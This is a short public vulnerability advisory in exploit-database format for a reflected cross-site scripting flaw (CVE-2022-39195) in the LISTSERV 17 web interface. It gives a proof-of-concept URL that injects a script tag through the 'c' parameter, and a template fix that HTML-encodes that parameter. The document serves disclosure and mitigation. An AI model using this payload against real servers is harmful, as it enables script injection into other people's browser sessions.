LISTSERV 17 Cross Site Scripting Vulnerability

# Exploit Title: LISTSERV 17 - Reflected Cross Site Scripting (XSS)
# Exploit Author: Shaunt D
# Vendor Homepage: https://www.lsoft.com/
# Version: 17
# Tested on: Windows Server 2019
# CVE : CVE-2022-39195

A reflected cross-site scripting (XSS) vulnerability in the LISTSERV 17 web interface allows remote attackers to inject arbitrary JavaScript or HTML via the "c" parameter.

To reproduce, please visit

http://localhost/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(1)%3C/script%3E
(or whichever URL you can use for testing instead of localhost).

The "c" parameter will reflect any value given onto the page.

# Solution

This vulnerability can be mitigated by going under "Server Administration" to "Web Templates" and editing the BODY-LCMD-MESSAGE web template. Change &+CMD; to &+HTMLENCODE(&+CMD;); .